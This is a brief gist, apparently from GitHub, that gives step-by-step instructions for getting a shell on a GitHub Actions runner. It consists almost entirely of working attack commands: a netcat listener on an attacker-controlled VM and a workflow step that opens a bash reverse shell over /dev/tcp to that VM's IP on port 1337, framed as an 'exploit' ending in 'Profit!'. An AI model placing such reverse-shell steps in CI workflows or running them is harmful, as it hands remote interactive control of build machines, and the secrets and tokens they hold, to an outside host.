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robandpdx/gh-runner-shell-exploit.md

Last active November 28, 2023 20:04
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gh-runner-shell-exploit.md

How to get a shell on a GH runner

Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:

nc -nvlp 1337

Then run the following workflow in GH actions:

name: Reverse shell
on:
  workflow_dispatch:
  
jobs:
  shell:
    runs-on: ubuntu-latest
    steps:
      - name: Shell
        run: bash -i >& /dev/tcp/<YOUR-VM-IP-ADDRESS>/1337 0>&1

Profit!

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